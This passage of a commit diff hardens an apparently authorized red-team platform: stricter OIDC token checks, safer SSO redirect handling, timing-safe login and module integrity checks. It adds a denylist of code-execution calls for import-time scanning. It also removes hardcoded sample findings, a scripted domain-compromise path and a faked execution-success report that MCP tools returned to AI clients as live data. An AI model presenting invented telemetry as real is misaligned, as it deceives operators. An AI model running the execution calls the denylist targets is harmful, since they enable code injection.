Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(security): audit run-1 — 5 CRITICAL + 5 high/medium hardening fixes (#64)

kraii_fd99581bd169
diff --git a/ares/api/server.py b/ares/api/server.py
index c71ee63..27285fb 100644
--- a/ares/api/server.py
+++ b/ares/api/server.py
@@ -41,7 +41,7 @@ from fastapi.middleware.cors import CORSMiddleware
from fastapi.middleware.trustedhost import TrustedHostMiddleware
from fastapi.responses import FileResponse, JSONResponse, RedirectResponse
from fastapi.security import OAuth2PasswordRequestForm
-from pydantic import BaseModel, Field, field_validator
+from pydantic import BaseModel, Field, field_validator, model_validator
from starlette.exceptions import HTTPException as StarletteHTTPException
from starlette.middleware.base import BaseHTTPMiddleware as _BaseHTTPMiddleware
from starlette.staticfiles import StaticFiles
@@ -1520,6 +1520,25 @@ class SsoConfigRequest(BaseModel):
role_mapping: dict[str, str] = Field(default_factory=dict)
is_enabled: bool = True
+ @model_validator(mode="after")
+ def _require_oidc_asymmetric_verification(self) -> "SsoConfigRequest":
+ # OIDC id_tokens must be verified against the IdP's published asymmetric
+ # JWKS. Saving a config without jwks_uri would force the verifier into a
+ # path that could only fall back to the shared client_secret (now removed)
+ # or leave iss unvalidated. Require both an https jwks_uri and an issuer so
+ # the runtime verifier can enforce signature + origin. (AUDIT run-1 C1)
+ if self.protocol == "oidc":
+ jwks = (self.jwks_uri or "").strip()
+ if not jwks or not jwks.lower().startswith("https://"):
+ raise ValueError(
+ "OIDC configuration requires an https jwks_uri (the IdP's published signing keys)."
+ )
+ if not (self.issuer_or_entity_id or "").strip():
+ raise ValueError(
+ "OIDC configuration requires issuer_or_entity_id for id_token iss validation."
+ )
+ return self
+
@app.get("/auth/sso/init", tags=["auth"])
async def sso_initiate(
@@ -1543,11 +1562,15 @@ async def sso_initiate(
detail="SSO is not configured for this organization. Contact your administrator.",
)
- base_url = str(request.base_url).rstrip("/")
- forwarded_proto = request.headers.get("x-forwarded-proto")
- forwarded_host = request.headers.get("x-forwarded-host")
- if forwarded_proto and forwarded_host:
- base_url = f"{forwarded_proto}://{forwarded_host}".rstrip("/")
+ # SSO base_url is critical: it becomes the SAML ACS and the OIDC redirect_uri
+ # presented to the IdP. Trusting client-supplied X-Forwarded-* lets an
+ # unauthenticated attacker point the IdP at their own host and (on any IdP
+ # with a permissive ACS/redirect allowlist) steal the assertion/code. We
+ # therefore derive base_url strictly from the operator-configured browser
+ # origin; TrustedHostMiddleware does NOT cover X-Forwarded-* and there is no
+ # pinned trusted-proxy allowlist at this layer. (AUDIT run-1 H1)
+ browser_origin = (settings.ares_browser_origin or "").rstrip("/")
+ base_url = browser_origin or str(request.base_url).rstrip("/")
protocol = sso_config["protocol"]
if protocol == "saml":
diff --git a/ares/core/sso.py b/ares/core/sso.py
index e71ac76..544a095 100644
--- a/ares/core/sso.py
+++ b/ares/core/sso.py
@@ -18,8 +18,20 @@ import httpx
from authlib.deprecate import AuthlibDeprecationWarning
warnings.filterwarnings("ignore", category=AuthlibDeprecationWarning)
-from authlib.jose import JsonWebKey
-from authlib.jose import jwt as authlib_jwt
+from authlib.jose import JsonWebKey, JsonWebToken
+from authlib.jose import jwt as authlib_jwt # noqa: F401 (kept for compatibility / callers)
+
+# OIDC id_tokens are asymmetrically signed. Pin the decoder to the standard
+# asymmetric algorithms so an attacker cannot (a) force a symmetric HS* path
+# verified with the shared client_secret, nor (b) mount RSA-public-key-as-HMAC
+# "alg confusion" by submitting an HS256 token signed with a public key from the
+# IdP's JWKS. (AUDIT run-1 C1)
+_OIDC_ID_TOKEN_ALGORITHMS = [
+ "RS256", "RS384", "RS512",
+ "ES256", "ES384", "ES512",
+ "PS256", "PS384", "PS512",
+]
+_OIDC_JWT = JsonWebToken(_OIDC_ID_TOKEN_ALGORITHMS)
from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.settings import OneLogin_Saml2_Settings
@@ -341,7 +353,11 @@ async def process_oidc_callback(
headers={"Accept": "application/json"},
)
if token_resp.status_code >= 400:
- logger.warning("oidc_token_exchange_failed", status=token_resp.status_code, text=token_resp.text)
+ # Do NOT log token_resp.text — IdPs often reflect the submitted `code`,
+ # `redirect_uri`, and sometimes substrings of `client_id`/`client_secret`
+ # in `error_description`, which would land in the loguru sink's retention.
+ # Status code alone is enough for operational triage. (AUDIT run-1 M14)
+ logger.warning("oidc_token_exchange_failed", status=token_resp.status_code)
raise ValueError(f"OIDC token exchange failed: HTTP {token_resp.status_code}")
token_data = token_resp.json()
@@ -349,35 +365,50 @@ async def process_oidc_callback(
if not id_token:
raise ValueError("OIDC response missing id_token")
- # 2. Fetch JWKS and verify signature
- if jwks_uri:
- jwks_resp = await client.get(jwks_uri)
- if jwks_resp.status_code >= 400:
- raise ValueError(f"Failed to fetch JWKS from {jwks_uri}")
- jwks = jwks_resp.json()
- key_set = JsonWebKey.import_key_set(jwks)
- claims = authlib_jwt.decode(id_token, key_set)
- else:
- # Fallback for mock/symmetric tests: decode without JWKS verification if jwks_uri is empty
- claims = authlib_jwt.decode(id_token, client_secret)
-
- # 3. Validate standard claims
+ # 2. Verify the id_token signature against the IdP's published JWKS.
+ # jwks_uri is mandatory: there is no symmetric fallback. Verifying an
+ # OIDC id_token with the shared client_secret (HS*) would let anyone
+ # who holds that secret mint a token asserting any identity/role.
+ # (AUDIT run-1 C1)
+ if not jwks_uri:
+ raise ValueError(
+ "OIDC configuration is missing jwks_uri; refusing to verify the "
+ "id_token without the IdP's published asymmetric signing keys."
+ )
+ jwks_resp = await client.get(jwks_uri)
+ if jwks_resp.status_code >= 400:
+ raise ValueError("Failed to fetch OIDC JWKS from the identity provider")
+ jwks = jwks_resp.json()
+ key_set = JsonWebKey.import_key_set(jwks)
+ claims = _OIDC_JWT.decode(id_token, key_set)
+
+ # 3. Validate standard claims. Each required claim is enforced; an absent
+ # iss/aud/exp must be a hard failure, not a silently-skipped check.
now = time.time()
exp = claims.get("exp")
- if exp and exp < now:
- raise ValueError("OIDC id_token has expired")
-
- token_iss = claims.get("iss", "")
- if issuer and token_iss != issuer:
- raise ValueError(f"OIDC issuer mismatch: expected {issuer}, got {token_iss}")
-
+ if not exp or exp < now:
+ raise ValueError("OIDC id_token is missing exp or has expired")
+
+ # iss is REQUIRED and must match the configured issuer. An empty configured
+ # issuer means we cannot establish the token's origin, so we refuse.
+ if not issuer:
+ raise ValueError(
+ "OIDC configuration is missing issuer_or_entity_id; cannot validate id_token iss"
+ )
+ if str(claims.get("iss", "")) != issuer:
+ raise ValueError("OIDC issuer mismatch")
+
+ # aud is REQUIRED and must contain our client_id. A token with no aud claim
+ # (previously accepted by falling through both isinstance branches) is rejected.
token_aud = claims.get("aud")
if isinstance(token_aud, list):
if client_id not in token_aud:
- raise ValueError(f"OIDC aud mismatch: client_id {client_id} not in {token_aud}")
+ raise ValueError("OIDC aud mismatch")
elif isinstance(token_aud, str):
if token_aud != client_id:
- raise ValueError(f"OIDC aud mismatch: expected {client_id}, got {token_aud}")
+ raise ValueError("OIDC aud mismatch")
+ else:
+ raise ValueError("OIDC id_token is missing or has a malformed aud claim")
token_nonce = claims.get("nonce")
if expected_nonce and token_nonce != expected_nonce:
diff --git a/ares/core/updater.py b/ares/core/updater.py
index db891e9..2f956f8 100644
--- a/ares/core/updater.py
+++ b/ares/core/updater.py
@@ -7,8 +7,14 @@ Principles:
audit reports, and custom plugins are strictly blacklisted from modification.
- Multi-Layered Defense:
* Anti-Path-Traversal Jail: Strict relative-to-root confinement.
- * Pre-Flight AST Gatekeeper: Python syntax and BaseModule structure verified before disk write.
- * Cryptographic Integrity: SHA-256 verification and atomic swap with automatic rollback.
+ * Pre-Flight AST Gatekeeper: Python syntax + BaseModule structure verified, and
+ module-level code rejected if it would execute dangerous calls at import time.
+ * Content Integrity: downloaded bytes are checked against the git-tree blob SHA
+ from the manifest before any disk write, with atomic swap and automatic
+ rollback. NOTE: this is a consistency check between two GitHub responses, not
+ a trust anchor against a compromised repository — signed modules (a pinned
+ release key + detached per-module signatures) are the complete remediation
+ and are the recommended production posture.
* Remote Source Whitelist: Only official pinned GitHub endpoints over verified TLS.
* DoS Protection: Size quotas and HTTP request timeouts.
- Separation of Concerns:
@@ -75,6 +81,19 @@ PROTECTED_DATA_PATTERNS = (
)
+def _git_blob_sha1(data: bytes) -> str:
+ """Compute the git blob SHA-1 of ``data`` (matches the SHA reported by the
+ GitHub git-trees API for a file blob): sha1(b"blob <len>\\0" + data)."""
+ header = f"blob {len(data)}\0".encode()
+ return hashlib.sha1(header + data).hexdigest() # noqa: S324 - git object id, not a security hash
+
+
+def _consttime_hex_eq(a: str, b: str) -> bool:
+ """Constant-time comparison of two hex digest strings."""
+ import hmac as _hmac
+ return _hmac.compare_digest(a, b)
+
+
class SecurityViolationError(RuntimeError):
"""Raised when an operation violates updater security constraints."""
@@ -165,10 +184,56 @@ def extract_all_module_ids(code: str) -> list[str]:
return ids
+# Call targets that must never execute at module import time. A legitimate ARES
+# module is imports + class/function definitions + simple constant/logger
+# assignments; it must not run a shell/eval/subprocess/dynamic-import call while
+# the file is merely being imported (which happens on `ares module list`). Blocking
+# these at the import-time scope closes the "top-level payload runs on import"
+# supply-chain RCE vector. This is a static denylist — defense in depth, not a
+# complete control; the full remediation is signed modules. (AUDIT run-1 C4)
+_DANGEROUS_IMPORT_TIME_CALLS = frozenset({
+ "eval", "exec", "compile", "__import__",
+ "system", "popen", "popen2", "popen3", "popen4",
+ "spawn", "spawnl", "spawnle", "spawnv", "spawnve",
+ "Popen", "call", "run", "check_output", "check_call",
+ "getoutput", "getstatusoutput",
+ "import_module", "load_source", "load_module",
+ "SourceFileLoader", "FileLoader",
+})
+
+
+def _import_time_nodes(tree: ast.Module):
+ """Yield AST nodes that execute at import time.
+
+ Everything at module scope runs on import EXCEPT the bodies of function/class
+ definitions (deferred until call/instantiation). Decorators and parameter
+ defaults DO run at import, so those are still walked.
+ """
+ for stmt in tree.body:
+ if isinstance(stmt, ast.FunctionDef | ast.AsyncFunctionDef | ast.ClassDef):
+ for dec in stmt.decorator_list:
+ yield from ast.walk(dec)
+ if isinstance(stmt, ast.FunctionDef | ast.AsyncFunctionDef):
+ defaults = list(stmt.args.defaults) + [d for d in stmt.args.kw_defaults if d is not None]
+ for d in defaults:
+ yield from ast.walk(d)
+ if isinstance(stmt, ast.ClassDef):
+ # Class-body statements (e.g. `X = os.system(...)` as a class attr)
+ # also run at import; walk the base-class exprs and the body.
+ for base in stmt.bases:
+ yield from ast.walk(base)
+ for item in stmt.body:
+ if not isinstance(item, ast.FunctionDef | ast.AsyncFunctionDef):
+ yield from ast.walk(item)
+ continue
+ yield from ast.walk(stmt)
+
+
def validate_module_code(code: str, expected_module_id: str | None = None) -> tuple[bool, str, str | None]:
"""
Pre-flight AST analysis on Python code.
- Verifies valid Python syntax and presence of a valid BaseModule structure with MODULE_ID.
+ Verifies valid Python syntax and presence of a valid BaseModule structure with MODULE_ID,
+ and rejects module code that would execute dangerous operations at import time.
"""
try:
tree = ast.parse(code)
@@ -177,6 +242,23 @@ def validate_module_code(code: str, expected_module_id: str | None = None) -> tu
except Exception as exc:
return False, f"AST parsing failed: {str(exc)}", None
+ # Import-time code-execution gate (AUDIT run-1 C4).
+ for node in _import_time_nodes(tree):
+ if isinstance(node, ast.Call):
+ func = node.func
+ call_name = (
+ func.id if isinstance(func, ast.Name)
+ else func.attr if isinstance(func, ast.Attribute)
+ else ""
+ )
+ if call_name in _DANGEROUS_IMPORT_TIME_CALLS:
+ return (
+ False,
+ f"Validation rejected: module-level call to '{call_name}' is not "
+ "permitted (import-time code execution).",
+ None,
+ )
+
found_classes: list[str] = []
found_ids: list[str] = []
@@ -499,10 +581,19 @@ class PlatformUpdateManager:
rel_path: str,
expected_module_id: str | None = None,
dry_run: bool = False,
+ expected_git_sha: str | None = None,
) -> tuple[bool, str]:
"""
Download a single module from the official repository, validate AST and syntax,
and atomically write to the target directory.
+
+ If ``expected_git_sha`` is supplied (the blob SHA from the git tree manifest),
+ the downloaded content is verified against it before any disk write. This
+ detects tampering or a TOCTOU change between the manifest read and the raw
+ download (e.g. a single-request MITM, or the file changing underneath us).
+ Note: this is a consistency check between two GitHub responses, not a trust
+ anchor against a compromised repository — signed modules are the full
+ remediation. (AUDIT run-1 C4)
"""
safe_target = secure_resolve_path(self.builtin_modules_dir, rel_path)
raw_url = f"https://raw.githubusercontent.com/{self.github_repo}/{self.branch}/ares/modules/{rel_path}"
@@ -511,9 +602,21 @@ class PlatformUpdateManager:
return True, f"[dry-run] Would download {raw_url} -> {safe_target}"
data = self._http_get(raw_url)
+
+ # Integrity: the git tree manifest reports each blob's SHA (git blob SHA-1
+ # over b"blob <len>\\0" + content). Recompute it on the downloaded bytes and
+ # refuse to write on mismatch. (AUDIT run-1 C4)
+ if expected_git_sha:
+ actual_git_sha = _git_blob_sha1(data)
+ if not _consttime_hex_eq(actual_git_sha, expected_git_sha.strip().lower()):
+ raise SecurityViolationError(
+ f"Integrity check failed for '{rel_path}': downloaded content does "
+ "not match the manifest blob SHA. Refusing to install."
+ )
+
code_text = data.decode("utf-8", errors="replace")
- # Pre-flight AST analysis
+ # Pre-flight AST analysis (syntax + BaseModule structure + import-time safety)
valid, msg, detected_id = validate_module_code(code_text, expected_module_id=expected_module_id)
if not valid:
raise SecurityViolationError(f"Module code validation failed for '{rel_path}': {msg}")
@@ -569,6 +672,7 @@ class PlatformUpdateManager:
item.relative_path,
expected_module_id=None,
dry_run=dry_run,
+ expected_git_sha=item.sha256 or None,
)
if ok:
installed.append(item.relative_path)
@@ -627,6 +731,7 @@ class PlatformUpdateManager:
item.relative_path,
expected_module_id=None,
dry_run=dry_run,
+ expected_git_sha=item.sha256 or None,
)
if ok:
upgraded.append(item.relative_path)
diff --git a/ares/db/postgres.py b/ares/db/postgres.py
index fe217f3..39c7005 100644
--- a/ares/db/postgres.py
+++ b/ares/db/postgres.py
@@ -5684,10 +5684,16 @@ class PostgresDatabase:
return self._row_to_dict(row) if row else None
async def verify_user(self, username: str, password: str) -> dict[str, Any] | None:
+ # Constant-time: ALWAYS run verify_password (even when the user is missing)
+ # against a dummy hash so the response latency does not reveal whether the
+ # username exists. The SQLite sibling (`database.py:2314-2320`) already does
+ # this correctly; the previous short-circuit `not user or ...` here leaked
+ # user existence via bcrypt timing. (AUDIT run-1 H2)
user = await self.get_user(username)
_DUMMY = "$2b$12$notarealthashXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
candidate = user["hashed_password"] if user else _DUMMY
- if not user or not verify_password(password, candidate):
+ password_ok = verify_password(password, candidate)
+ if not user or not password_ok:
return None
async with self._pool.acquire() as conn:
await conn.execute("UPDATE users SET last_login=now() WHERE id=$1", user["id"])
diff --git a/ares/mcp/resources.py b/ares/mcp/resources.py
index 54db2eb..995de02 100644
--- a/ares/mcp/resources.py
+++ b/ares/mcp/resources.py
@@ -1,6 +1,7 @@
"""ARES Sovereign Real-Time Context Resources for MCP.
-Supplies direct, URI-based read-only telemetry into LLM context windows:
+Supplies direct, URI-based read-only telemetry into LLM context windows, read
+live from the attached campaign database (no sample/demo fallback):
- ares://campaigns/active
- ares://findings/critical
- ares://modules/catalog
@@ -46,45 +47,85 @@ class McpResourceRegistry:
def list_resources(self) -> list[Resource]:
return list(self._resources.values())
+ def _no_data_source(self, what: str, uri: str) -> ReadResourceResult:
+ """Honest payload when no campaign database backs a 'real-time' resource."""
+ text = json.dumps({
+ "error": "no_data_source",
+ "message": (
+ f"No campaign database is attached to this MCP server, so {what} "
+ "cannot be returned. This resource serves live data only, never "
+ "sample/demo data."
+ ),
+ }, indent=2)
+ return ReadResourceResult(
+ contents=[ResourceContents(uri=uri, mimeType="application/json", text=text)]
+ )
+
async def read_resource(self, uri: str) -> ReadResourceResult:
uri = uri.strip().lower()
+ # These resources are advertised as "real-time telemetry". They must read
+ # from the live campaign database, never serve hardcoded sample data (the
+ # previous camp_default_01 / CorpTech Solutions / dc0{1,2}.corp.local blocks
+ # were returned to every LLM client regardless of DB state). When no DB is
+ # attached the gateway reports honestly instead of fabricating. (AUDIT run-1 C3)
if uri == "ares://campaigns/active":
- data = {
- "active_campaigns": [
- {
- "id": "camp_default_01",
- "name": "Enterprise Internal Purple-Team Engagement",
- "client": "CorpTech Solutions",
- "status": "active",
- "scope": ["10.10.0.0/24", "192.168.1.0/24", "*.corp.local"],
- }
- ]
- }
+ if not (self.db and hasattr(self.db, "list_campaigns")):
+ return self._no_data_source("active campaigns", uri)
+ try:
+ raw = await self.db.list_campaigns()
+ except Exception:
+ raw = []
+ active = []
+ for c in raw or []:
+ if str(c.get("status", "active")).lower() != "active":
+ continue
+ scope = c.get("scope")
+ if not scope and c.get("scope_json"):
+ try:
+ scope = json.loads(str(c["scope_json"]))
+ except Exception:
+ scope = []
+ active.append({
+ "id": c.get("id"),
+ "name": c.get("name"),
+ "client": c.get("client"),
+ "status": c.get("status", "active"),
+ "scope": scope or [],
+ })
+ data = {"active_campaigns": active}
clean_text = json.dumps(McpTaintSanitizer.sanitize(data), indent=2)
return ReadResourceResult(contents=[ResourceContents(uri=uri, mimeType="application/json", text=clean_text)])
if uri == "ares://findings/critical":
- data = {
- "critical_findings": [
- {
- "id": "find_smb_02",
- "title": "SMB Signing Not Required on Domain Controller",
- "severity": "critical",
- "cvss_score": 8.8,
- "host": "dc02.corp.local",
- "mitre_technique": "T1557.001",
- },
- {
- "id": "find_kerb_01",
- "title": "Service Principal Name (SPN) Accounts Vulnerable to Kerberoasting",
- "severity": "high",
- "cvss_score": 7.5,
- "host": "dc01.corp.local",
- "mitre_technique": "T1558.003",
- },
- ]
- }
+ if not (self.db and hasattr(self.db, "list_campaigns") and hasattr(self.db, "get_findings")):
+ return self._no_data_source("critical findings", uri)
+ try:
+ campaigns = await self.db.list_campaigns()
+ except Exception:
+ campaigns = []
+ critical: list[dict[str, Any]] = []
+ for c in campaigns or []:
+ if str(c.get("status", "active")).lower() != "active":
+ continue
+ cid = c.get("id")
+ if not cid:
+ continue
+ try:
+ rows = await self.db.get_findings(cid)
+ except Exception:
+ rows = []
+ for f in rows or []:
+ if str(f.get("severity", "")).lower() in ("critical", "high"):
+ critical.append({
+ "id": f.get("id"),
+ "campaign_id": cid,
+ "title": f.get("title"),
+ "severity": f.get("severity"),
+ "host": f.get("host"),
+ "mitre_technique": f.get("mitre_technique"),
+ })
+ data = {"critical_findings": critical}
clean_text = json.dumps(McpTaintSanitizer.sanitize(SecretMasker.mask(data)), indent=2)
return ReadResourceResult(contents=[ResourceContents(uri=uri, mimeType="application/json", text=clean_text)])
diff --git a/ares/mcp/security.py b/ares/mcp/security.py
index a0f8229..ac5ba91 100644
--- a/ares/mcp/security.py
+++ b/ares/mcp/security.py
@@ -60,10 +60,15 @@ class ConfirmationTokenManager:
"""Issue a single-use, time-bounded HMAC token for a specific execution."""
payload = self._make_payload(campaign_id, module_id, target, params)
nonce = secrets.token_hex(8)
- raw_to_sign = f"{payload}:{nonce}:{time.time()}"
+ # Nonce + monotonic time for uniqueness; the outer HMAC is still over
+ # payload+nonce+monotonic-time, which stays unguessable.
+ raw_to_sign = f"{payload}:{nonce}:{time.monotonic()}"
sig = hmac.new(self._secret, raw_to_sign.encode("utf-8"), hashlib.sha256).hexdigest()
token = f"ares_tok_{sig[:32]}"
- expires_at = time.time() + ttl_seconds
+ # Monotonic deadline — wall-clock adjustment (NTP step, suspend/resume,
+ # deliberate rollback via SeSystemtimePrivilege on Windows) must not
+ # extend the token window. (AUDIT run-1 H10)
+ expires_at = time.monotonic() + ttl_seconds
self._tokens[token] = (expires_at, payload)
self._purge_expired()
@@ -97,7 +102,9 @@ class ConfirmationTokenManager:
return False
expires_at, expected_payload = self._tokens[token]
- if time.time() > expires_at:
+ # Same monotonic clock as issue_token — see H10 above. Any `time.time()`
+ # (wall-clock) comparison here would re-open the extendable-TTL hole.
+ if time.monotonic() > expires_at:
self._tokens.pop(token, None)
return False
@@ -118,7 +125,7 @@ class ConfirmationTokenManager:
return False
def _purge_expired(self) -> None:
- now = time.time()
+ now = time.monotonic()
expired = [t for t, (exp, _) in self._tokens.items() if now > exp]
for t in expired:
self._tokens.pop(t, None)
diff --git a/ares/mcp/tools.py b/ares/mcp/tools.py
index dc1b0a3..f277ba7 100644
--- a/ares/mcp/tools.py
+++ b/ares/mcp/tools.py
@@ -81,6 +81,24 @@ class McpToolRegistry:
except Exception as e:
logger.warning("Failed to broadcast MCP event to WebSocket: %s", e)
+ def _no_data_source_result(self, what: str) -> CallToolResult:
+ """Honest response when no campaign database is attached.
+
+ This gateway returns real data only; it must never substitute sample/demo
+ data for a live query, which would deceive the operator and any AI client
+ consuming the response as authentic telemetry. (AUDIT run-1 C3)
+ """
+ return CallToolResult(
+ content=[TextContent(type="text", text=json.dumps({
+ "error": "no_data_source",
+ "message": (
+ f"No campaign database is attached to this MCP server, so {what} "
+ "cannot be returned. The gateway does not serve sample/demo data."
+ ),
+ }, indent=2))],
+ isError=True,
+ )
+
# ── Tool Registrations ───────────────────────────────────────────────────
def _register_default_tools(self) -> None:
@@ -304,6 +322,9 @@ class McpToolRegistry:
limit = args.get("limit", 20)
items = []
+ if not (self.db and hasattr(self.db, "list_campaigns")):
+ return self._no_data_source_result("the campaign list")
+
if self.db and hasattr(self.db, "list_campaigns"):
try:
raw_campaigns = await self.db.list_campaigns()
@@ -333,16 +354,6 @@ class McpToolRegistry:
except Exception as e:
logger.warning("DB query failed: %s", e)
- if not items and not self.db:
- items = [{
- "id": "camp_default_01",
- "name": "Enterprise Internal Purple-Team Engagement",
- "client": "CorpTech Solutions",
- "status": "active",
- "scope": ["10.10.0.0/24", "192.168.1.0/24", "*.corp.local"],
- "targets_count": 8,
- }]
-
clean_data = McpTaintSanitizer.sanitize(items)
return CallToolResult(
content=[TextContent(type="text", text=json.dumps(clean_data, indent=2))]
@@ -350,12 +361,42 @@ class McpToolRegistry:
async def _handle_get_campaign_status(self, args: dict[str, Any]) -> CallToolResult:
campaign_id = args["campaign_id"]
+ if not (self.db and hasattr(self.db, "get_campaign")):
+ return self._no_data_source_result("campaign status")
+
+ # Resolve real status + a findings summary computed from the live findings,
+ # never the previous hardcoded {critical:2, high:5, ...} / "Lateral Movement"
+ # placeholders. (AUDIT run-1 C3)
+ try:
+ campaign = await self.db.get_campaign(campaign_id)
+ except Exception as exc:
+ logger.warning("mcp_get_campaign_failed", campaign_id=campaign_id, error=str(exc))
+ campaign = None
+ if not campaign:
+ return CallToolResult(
+ content=[TextContent(type="text", text=json.dumps({
+ "error": "campaign_not_found",
+ "campaign_id": campaign_id,
+ }, indent=2))],
+ isError=True,
+ )
+
+ summary = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
+ if hasattr(self.db, "get_findings"):
+ try:
+ raw_findings = await self.db.get_findings(campaign_id)
+ for f in raw_findings or []:
+ sev = str(f.get("severity", "info")).lower()
+ if sev in summary:
+ summary[sev] += 1
+ except Exception as exc:
+ logger.warning("mcp_status_findings_failed", campaign_id=campaign_id, error=str(exc))
+
scope = await self._get_campaign_scope(campaign_id)
status_data = {
"campaign_id": campaign_id,
- "status": "active",
- "findings_summary": {"critical": 2, "high": 5, "medium": 8, "low": 12, "info": 4},
- "active_phase": "Lateral Movement & Domain Enumeration",
+ "status": campaign.get("status", "unknown"),
+ "findings_summary": summary,
"scope": scope,
"circuit_breaker_state": self.circuit_breaker.state.value,
}
@@ -369,40 +410,16 @@ class McpToolRegistry:
min_severity = args.get("min_severity", "info").lower()
host_filter = args.get("host")
- findings = []
- if self.db and hasattr(self.db, "get_findings"):
- try:
- raw_findings = await self.db.get_findings(campaign_id)
- if isinstance(raw_findings, list):
- findings = raw_findings
- except Exception as exc:
- logger.warning("mcp_fetch_findings_failed", campaign_id=campaign_id, error=str(exc))
+ if not (self.db and hasattr(self.db, "get_findings")):
+ return self._no_data_source_result("campaign findings")
- if not findings and not self.db:
- findings = [
- {
- "id": "find_kerb_01",
- "campaign_id": campaign_id,
- "title": "Service Principal Name (SPN) Accounts Vulnerable to Kerberoasting",
- "severity": "high",
- "cvss_score": 7.5,
- "host": "dc01.corp.local",
- "mitre_technique": "T1558.003",
- "description": "High-privilege service account 'svc_mssql' requested Kerberos ticket with weak RC4 encryption.",
- "remediation": "Enforce AES-only Kerberos encryption and apply strong 25+ character service account passwords.",
- },
- {
- "id": "find_smb_02",
- "campaign_id": campaign_id,
- "title": "SMB Signing Not Required on Domain Controller",
- "severity": "critical",
- "cvss_score": 8.8,
- "host": "dc02.corp.local",
- "mitre_technique": "T1557.001",
- "description": "SMB signing is disabled or optional, permitting NTLM relay attacks to escalate to Domain Admin.",
- "remediation": "Enable and require SMB signing via Group Policy (GPO: Microsoft network server: Digitally sign communications).",
- },
- ]
+ findings = []
+ try:
+ raw_findings = await self.db.get_findings(campaign_id)
+ if isinstance(raw_findings, list):
+ findings = raw_findings
+ except Exception as exc:
+ logger.warning("mcp_fetch_findings_failed", campaign_id=campaign_id, error=str(exc))
severity_ranks = {"critical": 4, "high": 3, "medium": 2, "low": 1, "info": 0}
min_rank = severity_ranks.get(min_severity, 0)
@@ -419,20 +436,26 @@ class McpToolRegistry:
)
async def _handle_get_remediation_guidance(self, args: dict[str, Any]) -> CallToolResult:
+ # Previously this ignored finding_id entirely and returned a fixed
+ # Kerberoasting playbook for EVERY finding — wrong (and dangerous) remediation
+ # for any non-Kerberoast finding. Remediation is carried on each finding
+ # record (its own `remediation` field and MITRE technique); the gateway
+ # cannot synthesize per-finding guidance from an opaque id alone, so it must
+ # not fabricate one. Direct the caller to the authoritative source rather
+ # than returning a canned playbook. (AUDIT run-1 C3)
finding_id = args["finding_id"]
- guidance = {
- "finding_id": finding_id,
- "tactical_actions": [
- "1. Audit all Active Directory accounts configured with ServicePrincipalNames: Get-ADUser -Filter {ServicePrincipalName -like '*'} -Properties ServicePrincipalName",
- "2. Change password of affected service accounts to high-entropy 30+ character random passphrases.",
- "3. Enable Group Policy: Network security: Configure encryption types allowed for Kerberos (AES128_HMAC_SHA1, AES256_HMAC_SHA1).",
- ],
- "mitre_mitigations": ["M1027: Password Policies", "M1041: Encrypt Sensitive Information"],
- "verification_procedure": "Re-run 'ad.kerberoast' module in dry-run mode to confirm SPN tickets are AES-256 and uncrackable.",
- }
- clean_data = McpTaintSanitizer.sanitize(guidance)
return CallToolResult(
- content=[TextContent(type="text", text=json.dumps(clean_data, indent=2))]
+ content=[TextContent(type="text", text=json.dumps({
+ "error": "remediation_not_synthesizable",
+ "finding_id": finding_id,
+ "message": (
+ "Per-finding remediation is recorded on the finding itself. Call "
+ "ares_list_findings for the campaign and read the finding's "
+ "'remediation' field and 'mitre_technique'; this gateway does not "
+ "generate remediation guidance independently of the finding record."
+ ),
+ }, indent=2))],
+ isError=True,
)
async def _handle_query_attack_graph(self, args: dict[str, Any]) -> CallToolResult:
@@ -450,22 +473,23 @@ class McpToolRegistry:
except Exception as exc:
logger.warning("mcp_query_attack_graph_failed", error=str(exc))
- graph_data = {
- "campaign_id": campaign_id,
- "target_goal": target_node,
- "shortest_path": [
- {"step": 1, "node": "WS01.corp.local", "type": "host", "status": "compromised"},
- {"step": 2, "node": "CORP\\jdoe", "type": "user", "status": "credentials_dumped"},
- {"step": 3, "node": "Server02.corp.local", "type": "host", "relation": "AdminTo"},
- {"step": 4, "node": "CORP\\svc_backup", "type": "user", "relation": "Kerberoast"},
- {"step": 5, "node": "DC01.corp.local", "type": "host", "relation": "DCSync"},
- {"step": 6, "node": "Domain Admins", "type": "group", "status": "unlocked"},
- ],
- "choke_points": ["Sever AdminTo privilege on Server02 to break lateral pivot to Domain Controller"],
- }
- clean_data = McpTaintSanitizer.sanitize(graph_data)
+ # No attack-graph source is available here. The previous fallback returned a
+ # fully scripted WS01 -> jdoe -> Server02 -> svc_backup -> DC01 ->
+ # Domain Admins chain for ANY campaign, which an LLM would read as a real
+ # compromise path. Report honestly instead of fabricating a kill chain.
+ # (AUDIT run-1 C3)
return CallToolResult(
- content=[TextContent(type="text", text=json.dumps(clean_data, indent=2))]
+ content=[TextContent(type="text", text=json.dumps({
+ "error": "attack_graph_unavailable",
+ "campaign_id": campaign_id,
+ "target_goal": target_node,
+ "message": (
+ "No attack-graph data source is attached to this MCP gateway. Use "
+ "the dashboard Graph view or the '/graph/{campaign_id}' API, which "
+ "build the graph from real campaign findings and host data."
+ ),
+ }, indent=2))],
+ isError=True,
)
async def _handle_inspect_module_catalog(self, args: dict[str, Any]) -> CallToolResult:
@@ -598,7 +622,13 @@ class McpToolRegistry:
isError=True,
)
- # 2. Validate and Burn Confirmation Token (Single-Use, Anti-Replay)
+ # 2. Scope Verification Gate — BEFORE burning the token. A scope change or a
+ # DB flap must not consume the operator's single-use token and force a
+ # fresh dry-run. (AUDIT run-1 M6)
+ scope = await self._get_campaign_scope(campaign_id)
+ McpScopeGate.verify_target(target, scope)
+
+ # 3. Validate and Burn Confirmation Token (Single-Use, Anti-Replay)
is_valid = self.token_manager.validate_and_burn(
token=confirmation_token,
campaign_id=campaign_id,
@@ -612,46 +642,40 @@ class McpToolRegistry:
"You must run ares_dry_run_module first to obtain a fresh token."
)
- # 3. Scope Verification Gate
- scope = await self._get_campaign_scope(campaign_id)
- McpScopeGate.verify_target(target, scope)
-
- # 4. Broadcast Execution Started to WebSocket Live Dashboard
+ # 4. This MCP gateway authorizes execution but does not run modules itself:
+ # no execution engine is wired into the tool registry. The previous
+ # behaviour fabricated a SUCCESS report (fixed duration, invented findings
+ # count, a constant merkle hash) and broadcast a fake "completed" event,
